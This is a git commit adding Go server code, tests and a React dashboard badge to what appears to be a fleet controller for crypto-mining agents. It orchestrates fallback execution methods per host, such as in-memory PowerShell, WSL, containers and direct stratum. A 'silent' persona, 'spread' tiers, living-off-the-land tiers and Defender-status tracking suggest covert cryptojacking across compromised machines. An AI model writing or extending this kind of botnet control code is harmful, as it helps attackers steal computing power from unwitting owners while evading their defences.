Add onion contingency miner tree with orchestrator and Seer telemetry.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Single-host branch runner complements fallback chain under Fleet AI Control: persona ghost forks, onion_miner_log hops, server exhaustion splice from graft mining genome, Crucible depth badge, and hospice retire after max cycles.
This commit is contained in:
130
server/internal/ai/persona_mining.go
Normal file
130
server/internal/ai/persona_mining.go
Normal file
@@ -0,0 +1,130 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// PersonaMiningTierOrder returns mining contingency tier order from Calibrate persona — NOT spread tiers.
|
||||
func PersonaMiningTierOrder(mode string) []string {
|
||||
switch NormalizePersona(mode) {
|
||||
case PersonaAggressive:
|
||||
return []string{
|
||||
"cpu_inprocess", "gpu_subprocess", "exe_subprocess", "container", "docker_load",
|
||||
"wsl", "ps_inmemory", "stratum_direct",
|
||||
}
|
||||
case PersonaSilent:
|
||||
return []string{
|
||||
"docker_load", "container", "wsl", "cpu_inprocess", "dotnet", "ps_inmemory",
|
||||
"gpu_subprocess", "stratum_direct",
|
||||
}
|
||||
case PersonaPassive:
|
||||
return []string{
|
||||
"cpu_inprocess", "container", "wsl", "ps_inmemory", "gpu_subprocess", "stratum_direct",
|
||||
}
|
||||
case PersonaPersuasive:
|
||||
return []string{
|
||||
"container", "wsl", "cpu_inprocess", "dotnet", "gpu_subprocess", "stratum_direct",
|
||||
}
|
||||
default:
|
||||
return defaultMiningTierOrder()
|
||||
}
|
||||
}
|
||||
|
||||
func defaultMiningTierOrder() []string {
|
||||
return []string{
|
||||
"exe_subprocess", "docker_load", "container", "wsl", "ps_inmemory",
|
||||
"cpu_inprocess", "gpu_subprocess", "stratum_direct",
|
||||
}
|
||||
}
|
||||
|
||||
// PersonaContingencyBranchOrder maps persona temperament to single-host contingency branches.
|
||||
func PersonaContingencyBranchOrder(mode string) []string {
|
||||
switch NormalizePersona(mode) {
|
||||
case PersonaAggressive:
|
||||
return []string{"inprocess", "gpu_subprocess", "container", "idle_tune", "self_surgery"}
|
||||
case PersonaSilent:
|
||||
return []string{"container", "inprocess", "idle_tune", "gpu_subprocess", "self_surgery"}
|
||||
case PersonaPassive:
|
||||
return []string{"inprocess", "idle_tune", "container", "self_surgery", "gpu_subprocess"}
|
||||
case PersonaPersuasive:
|
||||
return []string{"container", "inprocess", "self_surgery", "gpu_subprocess", "idle_tune"}
|
||||
default:
|
||||
return []string{"inprocess", "container", "gpu_subprocess", "idle_tune", "self_surgery"}
|
||||
}
|
||||
}
|
||||
|
||||
// BuildContingencyPolicy builds zero-config server-pulled policy when Fleet AI Control is on.
|
||||
func BuildContingencyPolicy(aiControl bool, persona string) map[string]interface{} {
|
||||
if !aiControl {
|
||||
return nil
|
||||
}
|
||||
p := NormalizePersona(persona)
|
||||
return map[string]interface{}{
|
||||
"enabled": true,
|
||||
"branch_order": PersonaContingencyBranchOrder(p),
|
||||
"personas": []string{p, PersonaSilent, PersonaAggressive},
|
||||
"hospice_after": 12,
|
||||
"jitter_ms": 750,
|
||||
"rotate_paths": true,
|
||||
}
|
||||
}
|
||||
|
||||
// ComposeContingencyBranchParams splices graft mining genome onto contingency branches — spread tiers excluded.
|
||||
func ComposeContingencyBranchParams(persona string, graft *strategy.GraftPolicy, reason string) map[string]interface{} {
|
||||
order := PersonaContingencyBranchOrder(persona)
|
||||
miningOrder := PersonaMiningTierOrder(persona)
|
||||
skip := []string{}
|
||||
force := ""
|
||||
if graft != nil {
|
||||
if len(graft.TierOrder) > 0 {
|
||||
miningOrder = strategy.SpliceGraftGenome(miningOrder, strategy.GraftSource{
|
||||
GraftTier: graft.GraftTier,
|
||||
TierOrder: graft.TierOrder,
|
||||
})
|
||||
}
|
||||
if graft.GraftTier != "" {
|
||||
force = mapGraftTierToBranch(graft.GraftTier)
|
||||
}
|
||||
}
|
||||
out := map[string]interface{}{
|
||||
"branch_order": order,
|
||||
"persona": NormalizePersona(persona),
|
||||
"mining_tiers": miningOrder,
|
||||
"reason": strings.TrimSpace(reason),
|
||||
}
|
||||
if len(skip) > 0 {
|
||||
out["skip_methods"] = skip
|
||||
}
|
||||
if force != "" {
|
||||
out["force_method"] = force
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func mapGraftTierToBranch(tier string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(tier)) {
|
||||
case "docker", "docker_load":
|
||||
return "container"
|
||||
case "wsl":
|
||||
return "container"
|
||||
case "cpu_inprocess", "inprocess":
|
||||
return "inprocess"
|
||||
case "gpu_subprocess", "gpu_compute":
|
||||
return "gpu_subprocess"
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
// ContingencyBranchParamsFromCourt builds branch params after court/surgical exhaustion on one host.
|
||||
func ContingencyBranchParamsFromCourt(persona, reason string, graft *strategy.GraftPolicy) map[string]interface{} {
|
||||
if reason == "" {
|
||||
reason = "court: contingency exhaustion — graft mining genome splice (not spread)"
|
||||
}
|
||||
out := ComposeContingencyBranchParams(persona, graft, reason)
|
||||
out["ts"] = time.Now().UTC().Format(time.RFC3339)
|
||||
return out
|
||||
}
|
||||
54
server/internal/ai/persona_mining_test.go
Normal file
54
server/internal/ai/persona_mining_test.go
Normal file
@@ -0,0 +1,54 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
func TestPersonaMiningTierOrderDistinctFromSpread(t *testing.T) {
|
||||
spread := PersonaSpreadTierOrder(PersonaAggressive)
|
||||
mine := PersonaMiningTierOrder(PersonaAggressive)
|
||||
if len(mine) == 0 {
|
||||
t.Fatal("empty mining order")
|
||||
}
|
||||
if mine[0] == spread[0] {
|
||||
t.Fatalf("mining front %q should differ from spread front %q", mine[0], spread[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestPersonaContingencyBranchOrder(t *testing.T) {
|
||||
silent := PersonaContingencyBranchOrder(PersonaSilent)
|
||||
if silent[0] != "container" {
|
||||
t.Fatalf("silent=%v", silent)
|
||||
}
|
||||
agg := PersonaContingencyBranchOrder(PersonaAggressive)
|
||||
if agg[0] != "inprocess" {
|
||||
t.Fatalf("aggressive=%v", agg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildContingencyPolicyRequiresAIControl(t *testing.T) {
|
||||
if BuildContingencyPolicy(false, PersonaBalanced) != nil {
|
||||
t.Fatal("expected nil when ai control off")
|
||||
}
|
||||
p := BuildContingencyPolicy(true, PersonaSilent)
|
||||
if p == nil || p["enabled"] != true {
|
||||
t.Fatalf("policy=%v", p)
|
||||
}
|
||||
}
|
||||
|
||||
func TestComposeContingencyBranchParamsUsesGraftNotSpread(t *testing.T) {
|
||||
graft := &strategy.GraftPolicy{
|
||||
GraftTier: "docker",
|
||||
TierOrder: []string{"docker", "wsl"},
|
||||
}
|
||||
out := ComposeContingencyBranchParams(PersonaBalanced, graft, "test")
|
||||
if out["force_method"] != "container" {
|
||||
t.Fatalf("force=%v", out["force_method"])
|
||||
}
|
||||
tiers, _ := out["mining_tiers"].([]string)
|
||||
if len(tiers) == 0 {
|
||||
t.Fatal("expected mining_tiers")
|
||||
}
|
||||
}
|
||||
131
server/internal/api/contingency_bridge.go
Normal file
131
server/internal/api/contingency_bridge.go
Normal file
@@ -0,0 +1,131 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/mining"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
func (h *WSHub) contingencyOrchestrator() *mining.ContingencyOrchestrator {
|
||||
if h == nil {
|
||||
return nil
|
||||
}
|
||||
return h.contingencyOrch
|
||||
}
|
||||
|
||||
func (h *WSHub) initContingencyOrchestrator() {
|
||||
if h == nil || h.contingencyOrch != nil {
|
||||
return
|
||||
}
|
||||
policy := h.serverPolicySnapshot()
|
||||
h.contingencyOrch = mining.NewContingencyOrchestrator(mining.OrchestratorDeps{
|
||||
AIControl: policy.AIControlEnabled,
|
||||
Persona: policy.AIPersona,
|
||||
GraftFor: h.graftPolicyLookup,
|
||||
OnSeer: h.emitContingencySeerEvent,
|
||||
OnPush: h.pushContingencyBranchParams,
|
||||
})
|
||||
}
|
||||
|
||||
func (h *WSHub) graftPolicyLookup(agentID string) (*strategy.GraftPolicy, bool) {
|
||||
if graft, ok := h.GraftPolicyForAgent(agentID); ok {
|
||||
return graft, true
|
||||
}
|
||||
return nil, false
|
||||
}
|
||||
|
||||
func (h *WSHub) emitContingencySeerEvent(agentID string, payload map[string]interface{}) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
emitter := &HubSeerEmitter{Hub: h, DB: h.db}
|
||||
_ = emitter.EmitSeerEvent("onion_miner_log", agentID, payload)
|
||||
}
|
||||
|
||||
func (h *WSHub) pushContingencyBranchParams(agentID string, params mining.BranchParamsPush) error {
|
||||
body, err := json.Marshal(params)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return h.SendToAgent(agentID, Message{Type: "contingency_branch_params", Payload: body})
|
||||
}
|
||||
|
||||
func (h *WSHub) handleOnionMinerLog(agentID string, raw json.RawMessage) {
|
||||
h.initContingencyOrchestrator()
|
||||
orch := h.contingencyOrchestrator()
|
||||
if orch == nil || !orch.Enabled() {
|
||||
return
|
||||
}
|
||||
hop, err := mining.ParseOnionHop(raw)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
emitter := &HubSeerEmitter{Hub: h, DB: h.db}
|
||||
var payload map[string]interface{}
|
||||
_ = json.Unmarshal(raw, &payload)
|
||||
if payload == nil {
|
||||
payload = map[string]interface{}{}
|
||||
}
|
||||
payload["agent_id"] = agentID
|
||||
_ = emitter.EmitSeerEvent("onion_miner_log", agentID, payload)
|
||||
|
||||
push, ok := orch.ObserveHop(agentID, hop)
|
||||
if !ok {
|
||||
h.cacheContingencyDepth(agentID, hop.Depth)
|
||||
return
|
||||
}
|
||||
if err := h.pushContingencyBranchParams(agentID, push); err != nil {
|
||||
log.Printf("[contingency] push branch params to %s: %v", agentID[:min(8, len(agentID))], err)
|
||||
}
|
||||
h.cacheContingencyDepth(agentID, hop.Depth)
|
||||
}
|
||||
|
||||
func (h *WSHub) cacheContingencyDepth(agentID string, depth int) {
|
||||
if depth <= 0 {
|
||||
if orch := h.contingencyOrchestrator(); orch != nil {
|
||||
depth = orch.Depth(agentID)
|
||||
}
|
||||
}
|
||||
if depth <= 0 {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
if h.agentLiveTelemetry[agentID] == nil {
|
||||
h.agentLiveTelemetry[agentID] = make(map[string]interface{})
|
||||
}
|
||||
h.agentLiveTelemetry[agentID]["contingency_depth"] = depth
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) attachContingencyPolicy(resp map[string]interface{}) {
|
||||
policy := h.serverPolicySnapshot()
|
||||
if !policy.AIControlEnabled {
|
||||
return
|
||||
}
|
||||
cp := fleetai.BuildContingencyPolicy(true, policy.AIPersona)
|
||||
if cp != nil {
|
||||
resp["contingency_policy"] = cp
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) contingencyDepthForAgent(agentID string) int {
|
||||
if orch := h.contingencyOrchestrator(); orch != nil {
|
||||
if d := orch.Depth(agentID); d > 0 {
|
||||
return d
|
||||
}
|
||||
}
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
if tel, ok := h.agentLiveTelemetry[agentID]; ok {
|
||||
if v, ok := tel["contingency_depth"].(int); ok {
|
||||
return v
|
||||
}
|
||||
if v, ok := tel["contingency_depth"].(float64); ok {
|
||||
return int(v)
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
62
server/internal/api/contingency_bridge_test.go
Normal file
62
server/internal/api/contingency_bridge_test.go
Normal file
@@ -0,0 +1,62 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
func TestAttachContingencyPolicyWhenAIControl(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
hub.serverPolicy = ServerPolicy{AIControlEnabled: true, AIPersona: "silent"}
|
||||
|
||||
resp := map[string]interface{}{}
|
||||
hub.attachContingencyPolicy(resp)
|
||||
cp, ok := resp["contingency_policy"].(map[string]interface{})
|
||||
if !ok || cp["enabled"] != true {
|
||||
t.Fatalf("policy=%v", resp["contingency_policy"])
|
||||
}
|
||||
order, _ := cp["branch_order"].([]string)
|
||||
if len(order) == 0 {
|
||||
t.Fatalf("branch_order=%v", cp["branch_order"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleOnionMinerLogEmitsSeerAndDepth(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hub := NewWSHub(database)
|
||||
hub.serverPolicy = ServerPolicy{AIControlEnabled: true, AIPersona: "balanced"}
|
||||
|
||||
raw, _ := json.Marshal(map[string]interface{}{
|
||||
"method": "inprocess", "outcome": "won", "contingency_depth": 4,
|
||||
})
|
||||
hub.handleOnionMinerLog("agent-onion", raw)
|
||||
|
||||
if hub.contingencyDepthForAgent("agent-onion") != 4 {
|
||||
t.Fatalf("depth=%d", hub.contingencyDepthForAgent("agent-onion"))
|
||||
}
|
||||
events, _ := database.ListSeerEvents(10)
|
||||
found := false
|
||||
for _, ev := range events {
|
||||
if ev.EventType == "onion_miner_log" && ev.AgentID == "agent-onion" {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatal("expected onion_miner_log seer event")
|
||||
}
|
||||
}
|
||||
|
||||
func TestContingencyPolicyAbsentWithoutAIControl(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
hub.serverPolicy = ServerPolicy{AIControlEnabled: false}
|
||||
resp := map[string]interface{}{}
|
||||
hub.attachContingencyPolicy(resp)
|
||||
if _, ok := resp["contingency_policy"]; ok {
|
||||
t.Fatal("expected no contingency_policy without ai control")
|
||||
}
|
||||
}
|
||||
208
server/internal/mining/contingency_orchestrator.go
Normal file
208
server/internal/mining/contingency_orchestrator.go
Normal file
@@ -0,0 +1,208 @@
|
||||
package mining
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// AgentContingencyState tracks one host's contingency onion tree on the server.
|
||||
type AgentContingencyState struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Depth int `json:"contingency_depth"`
|
||||
FrozenMethod string `json:"frozen_method,omitempty"`
|
||||
FrozenWinner string `json:"frozen_winner,omitempty"`
|
||||
ExhaustCycles int `json:"exhaust_cycles"`
|
||||
HospiceRetired bool `json:"hospice_retired"`
|
||||
LastHop OnionHop `json:"last_hop,omitempty"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
|
||||
// OnionHop mirrors agent onion_miner_log hop payload.
|
||||
type OnionHop struct {
|
||||
HopIndex int `json:"hop_index"`
|
||||
BranchID string `json:"branch_id,omitempty"`
|
||||
Persona string `json:"persona,omitempty"`
|
||||
Method string `json:"method"`
|
||||
Outcome string `json:"outcome"`
|
||||
Hashrate float64 `json:"hashrate"`
|
||||
IsGhost bool `json:"is_ghost,omitempty"`
|
||||
Timestamp string `json:"ts"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
Depth int `json:"contingency_depth,omitempty"`
|
||||
Exhausted bool `json:"exhausted,omitempty"`
|
||||
}
|
||||
|
||||
// BranchParamsPush is sent to agent after orchestrator advances or court composes params.
|
||||
type BranchParamsPush struct {
|
||||
BranchOrder []string `json:"branch_order,omitempty"`
|
||||
Persona string `json:"persona,omitempty"`
|
||||
SkipMethods []string `json:"skip_methods,omitempty"`
|
||||
ForceMethod string `json:"force_method,omitempty"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
}
|
||||
|
||||
// OrchestratorDeps wires court/AI branch composition and Seer feed.
|
||||
type OrchestratorDeps struct {
|
||||
AIControl bool
|
||||
Persona string
|
||||
GraftFor func(agentID string) (*strategy.GraftPolicy, bool)
|
||||
OnSeer func(agentID string, payload map[string]interface{})
|
||||
OnPush func(agentID string, params BranchParamsPush) error
|
||||
}
|
||||
|
||||
// ContingencyOrchestrator spawns next branches when ai_control_enabled.
|
||||
type ContingencyOrchestrator struct {
|
||||
mu sync.Mutex
|
||||
states map[string]*AgentContingencyState
|
||||
deps OrchestratorDeps
|
||||
}
|
||||
|
||||
func NewContingencyOrchestrator(deps OrchestratorDeps) *ContingencyOrchestrator {
|
||||
return &ContingencyOrchestrator{
|
||||
states: make(map[string]*AgentContingencyState),
|
||||
deps: deps,
|
||||
}
|
||||
}
|
||||
|
||||
func (o *ContingencyOrchestrator) Enabled() bool {
|
||||
return o != nil && o.deps.AIControl
|
||||
}
|
||||
|
||||
// ObserveHop processes one onion_miner_log hop from an agent.
|
||||
func (o *ContingencyOrchestrator) ObserveHop(agentID string, hop OnionHop) (BranchParamsPush, bool) {
|
||||
if o == nil || !o.Enabled() || agentID == "" {
|
||||
return BranchParamsPush{}, false
|
||||
}
|
||||
o.mu.Lock()
|
||||
st, ok := o.states[agentID]
|
||||
if !ok {
|
||||
st = &AgentContingencyState{AgentID: agentID}
|
||||
o.states[agentID] = st
|
||||
}
|
||||
st.LastHop = hop
|
||||
if hop.Depth > 0 {
|
||||
st.Depth = hop.Depth
|
||||
} else if hop.HopIndex > 0 {
|
||||
st.Depth = hop.HopIndex
|
||||
}
|
||||
st.UpdatedAt = time.Now().UTC()
|
||||
if hop.Outcome == "strain_retired" {
|
||||
st.HospiceRetired = true
|
||||
}
|
||||
if hop.Outcome == "won" || hop.Outcome == "ghost_won" {
|
||||
st.FrozenMethod = hop.Method
|
||||
st.FrozenWinner = hop.BranchID
|
||||
}
|
||||
if hop.Exhausted {
|
||||
st.ExhaustCycles++
|
||||
}
|
||||
exhausted := hop.Exhausted || hop.Outcome == "exhausted"
|
||||
hospice := st.HospiceRetired
|
||||
cycles := st.ExhaustCycles
|
||||
frozen := st.FrozenMethod
|
||||
depth := st.Depth
|
||||
deps := o.deps
|
||||
o.mu.Unlock()
|
||||
|
||||
if frozen != "" && (hop.Outcome == "won" || hop.Outcome == "ghost_won") {
|
||||
return BranchParamsPush{}, false
|
||||
}
|
||||
if !exhausted || hospice {
|
||||
return BranchParamsPush{}, false
|
||||
}
|
||||
|
||||
var graft *strategy.GraftPolicy
|
||||
if deps.GraftFor != nil {
|
||||
if g, ok := deps.GraftFor(agentID); ok {
|
||||
graft = g
|
||||
}
|
||||
}
|
||||
raw := fleetai.ContingencyBranchParamsFromCourt(deps.Persona, "contingency orchestrator: exhaustion cycle "+itoa(cycles), graft)
|
||||
push := BranchParamsPush{
|
||||
BranchOrder: toStringSlice(raw["branch_order"]),
|
||||
Persona: strVal(raw["persona"]),
|
||||
ForceMethod: strVal(raw["force_method"]),
|
||||
Reason: strVal(raw["reason"]),
|
||||
}
|
||||
if deps.OnSeer != nil {
|
||||
deps.OnSeer(agentID, map[string]interface{}{
|
||||
"event": "contingency_exhaustion",
|
||||
"exhaust_cycles": cycles,
|
||||
"branch_params": push,
|
||||
"hop": hop,
|
||||
"contingency_depth": depth,
|
||||
})
|
||||
}
|
||||
return push, true
|
||||
}
|
||||
|
||||
// State returns the latest contingency snapshot for an agent.
|
||||
func (o *ContingencyOrchestrator) State(agentID string) (AgentContingencyState, bool) {
|
||||
if o == nil {
|
||||
return AgentContingencyState{}, false
|
||||
}
|
||||
o.mu.Lock()
|
||||
defer o.mu.Unlock()
|
||||
st, ok := o.states[agentID]
|
||||
if !ok {
|
||||
return AgentContingencyState{}, false
|
||||
}
|
||||
out := *st
|
||||
return out, true
|
||||
}
|
||||
|
||||
// Depth returns contingency depth for Crucible badge.
|
||||
func (o *ContingencyOrchestrator) Depth(agentID string) int {
|
||||
st, ok := o.State(agentID)
|
||||
if !ok {
|
||||
return 0
|
||||
}
|
||||
return st.Depth
|
||||
}
|
||||
|
||||
// ParseOnionHop unmarshals agent onion_miner_log payload.
|
||||
func ParseOnionHop(raw json.RawMessage) (OnionHop, error) {
|
||||
var hop OnionHop
|
||||
err := json.Unmarshal(raw, &hop)
|
||||
return hop, err
|
||||
}
|
||||
|
||||
func toStringSlice(v interface{}) []string {
|
||||
switch t := v.(type) {
|
||||
case []string:
|
||||
return append([]string(nil), t...)
|
||||
case []interface{}:
|
||||
out := make([]string, 0, len(t))
|
||||
for _, x := range t {
|
||||
if s, ok := x.(string); ok && s != "" {
|
||||
out = append(out, s)
|
||||
}
|
||||
}
|
||||
return out
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func strVal(v interface{}) string {
|
||||
s, _ := v.(string)
|
||||
return s
|
||||
}
|
||||
|
||||
func itoa(n int) string {
|
||||
if n == 0 {
|
||||
return "0"
|
||||
}
|
||||
buf := [20]byte{}
|
||||
i := len(buf)
|
||||
for n > 0 {
|
||||
i--
|
||||
buf[i] = byte('0' + n%10)
|
||||
n /= 10
|
||||
}
|
||||
return string(buf[i:])
|
||||
}
|
||||
71
server/internal/mining/contingency_orchestrator_test.go
Normal file
71
server/internal/mining/contingency_orchestrator_test.go
Normal file
@@ -0,0 +1,71 @@
|
||||
package mining
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
func TestObserveHopFreezesWinner(t *testing.T) {
|
||||
o := NewContingencyOrchestrator(OrchestratorDeps{AIControl: true, Persona: "balanced"})
|
||||
push, ok := o.ObserveHop("a1", OnionHop{
|
||||
Method: "inprocess",
|
||||
Outcome: "won",
|
||||
Depth: 3,
|
||||
})
|
||||
if ok || push.Reason != "" {
|
||||
t.Fatalf("unexpected push on win: ok=%v push=%+v", ok, push)
|
||||
}
|
||||
st, _ := o.State("a1")
|
||||
if st.FrozenMethod != "inprocess" || st.Depth != 3 {
|
||||
t.Fatalf("state=%+v", st)
|
||||
}
|
||||
}
|
||||
|
||||
func TestObserveHopExhaustionRequestsBranchParams(t *testing.T) {
|
||||
var seerAgent string
|
||||
o := NewContingencyOrchestrator(OrchestratorDeps{
|
||||
AIControl: true,
|
||||
Persona: "silent",
|
||||
GraftFor: func(agentID string) (*strategy.GraftPolicy, bool) {
|
||||
return &strategy.GraftPolicy{GraftTier: "docker", TierOrder: []string{"docker"}}, true
|
||||
},
|
||||
OnSeer: func(agentID string, payload map[string]interface{}) {
|
||||
seerAgent = agentID
|
||||
},
|
||||
})
|
||||
push, ok := o.ObserveHop("agent-x", OnionHop{
|
||||
Method: "contingency_tree",
|
||||
Outcome: "exhausted",
|
||||
Exhausted: true,
|
||||
Depth: 8,
|
||||
})
|
||||
if !ok {
|
||||
t.Fatal("expected branch params push")
|
||||
}
|
||||
if push.ForceMethod != "container" {
|
||||
t.Fatalf("force=%q", push.ForceMethod)
|
||||
}
|
||||
if seerAgent != "agent-x" {
|
||||
t.Fatalf("seer agent=%q", seerAgent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseOnionHop(t *testing.T) {
|
||||
raw, _ := json.Marshal(map[string]interface{}{
|
||||
"method": "container", "outcome": "trying", "contingency_depth": 2,
|
||||
})
|
||||
hop, err := ParseOnionHop(raw)
|
||||
if err != nil || hop.Method != "container" || hop.Depth != 2 {
|
||||
t.Fatalf("hop=%+v err=%v", hop, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOrchestratorDisabled(t *testing.T) {
|
||||
o := NewContingencyOrchestrator(OrchestratorDeps{AIControl: false})
|
||||
_, ok := o.ObserveHop("a", OnionHop{Outcome: "exhausted", Exhausted: true})
|
||||
if ok {
|
||||
t.Fatal("expected no push when disabled")
|
||||
}
|
||||
}
|
||||
@@ -3,6 +3,7 @@ import {
|
||||
isPathTraceTimelineEvent,
|
||||
isSurgicalReplayEvent,
|
||||
mergeSeerEvents,
|
||||
onionMinerLogSummary,
|
||||
pathTraceTimelineSummary,
|
||||
surgicalReplaySummary,
|
||||
type SeerEventRecord,
|
||||
@@ -26,6 +27,15 @@ describe('seerEvents', () => {
|
||||
expect(pathTraceTimelineSummary(ev)).toContain('800');
|
||||
});
|
||||
|
||||
it('summarizes onion miner log contingency hops', () => {
|
||||
const ev: SeerEventRecord = {
|
||||
event_type: 'onion_miner_log',
|
||||
payload: { method: 'inprocess', outcome: 'won', hashrate: 900, contingency_depth: 3 },
|
||||
};
|
||||
expect(onionMinerLogSummary(ev)).toContain('inprocess');
|
||||
expect(onionMinerLogSummary(ev)).toContain('depth 3');
|
||||
});
|
||||
|
||||
it('detects surgical replay events', () => {
|
||||
expect(isSurgicalReplayEvent(replay)).toBe(true);
|
||||
expect(isSurgicalReplayEvent({ event_type: 'court_debate' })).toBe(false);
|
||||
|
||||
@@ -317,6 +317,22 @@
|
||||
.cn-disk.disk-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||
.cn-throttle.therm-warm{ color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||
|
||||
.cn-contingency {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 4px;
|
||||
border-radius: 3px;
|
||||
letter-spacing: 0.04em;
|
||||
cursor: default;
|
||||
color: var(--neon-cyan);
|
||||
background: rgba(0, 212, 255, 0.1);
|
||||
}
|
||||
.cn-contingency.cn-contingency-deep {
|
||||
color: var(--neon-amber);
|
||||
background: rgba(255, 176, 32, 0.12);
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
/* ── T1007 service row ─────────────────────────────────────────────────────── */
|
||||
.cn-services {
|
||||
display: flex;
|
||||
|
||||
@@ -15,6 +15,7 @@ import CruciblePage, {
|
||||
portsBadge,
|
||||
postureBadge,
|
||||
postureTooltip,
|
||||
contingencyDepthBadge,
|
||||
sshBadge,
|
||||
thermalBadge,
|
||||
} from './CruciblePage';
|
||||
@@ -349,6 +350,12 @@ describe('CruciblePage helpers', () => {
|
||||
expect(thermalBadge(mockAgent({ gpu_temp_c: 85 }))?.cls).toBe('therm-hot');
|
||||
});
|
||||
|
||||
it('contingencyDepthBadge shows ONION depth when present', () => {
|
||||
expect(contingencyDepthBadge(mockAgent({ contingency_depth: 0 }))).toBeNull();
|
||||
expect(contingencyDepthBadge(mockAgent({ contingency_depth: 3 }))?.label).toBe('ONION 3');
|
||||
expect(contingencyDepthBadge(mockAgent({ contingency_depth: 10 }))?.cls).toBe('cn-contingency-deep');
|
||||
});
|
||||
|
||||
it('postureTooltip includes defender, DNS drift, and services', () => {
|
||||
const agent = mockAgent({
|
||||
defender_enabled: true,
|
||||
|
||||
@@ -269,6 +269,13 @@ function dnsBadge(agent: Agent): { label: string; cls: string } | null {
|
||||
return null;
|
||||
}
|
||||
|
||||
/** Contingency onion depth — Fleet AI Control single-host branch tree. */
|
||||
export function contingencyDepthBadge(agent: Agent): { label: string; cls: string } | null {
|
||||
const depth = agent.contingency_depth ?? 0;
|
||||
if (depth <= 0) return null;
|
||||
return { label: `ONION ${depth}`, cls: depth >= 8 ? 'cn-contingency-deep' : 'cn-contingency' };
|
||||
}
|
||||
|
||||
// ── Service helpers (T1007) ────────────────────────────────────────────────
|
||||
|
||||
// Human-readable label for well-known service names
|
||||
@@ -1195,6 +1202,11 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
<div className="cn-badges">
|
||||
<LotlTierBadge tier={a.lotl_tier} attempts={a.lotl_attempts} />
|
||||
{(() => { const cb = contingencyDepthBadge(a); return cb && (
|
||||
<div className={`cn-contingency ${cb.cls}`} title="Onion contingency tree depth (Fleet AI Control)">
|
||||
{cb.label}
|
||||
</div>
|
||||
); })()}
|
||||
<RiskBadge findings={a.vuln_findings} />
|
||||
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
|
||||
<div
|
||||
|
||||
@@ -122,6 +122,9 @@ export interface Agent {
|
||||
graft_tier?: string;
|
||||
graft_approved_at?: string;
|
||||
|
||||
/** Onion contingency tree depth from stats_batch (Fleet AI Control). */
|
||||
contingency_depth?: number;
|
||||
|
||||
/** Cloned fleet phenotype from a sibling with the same host fingerprint. */
|
||||
inherited_phenotype?: InheritedPhenotype;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user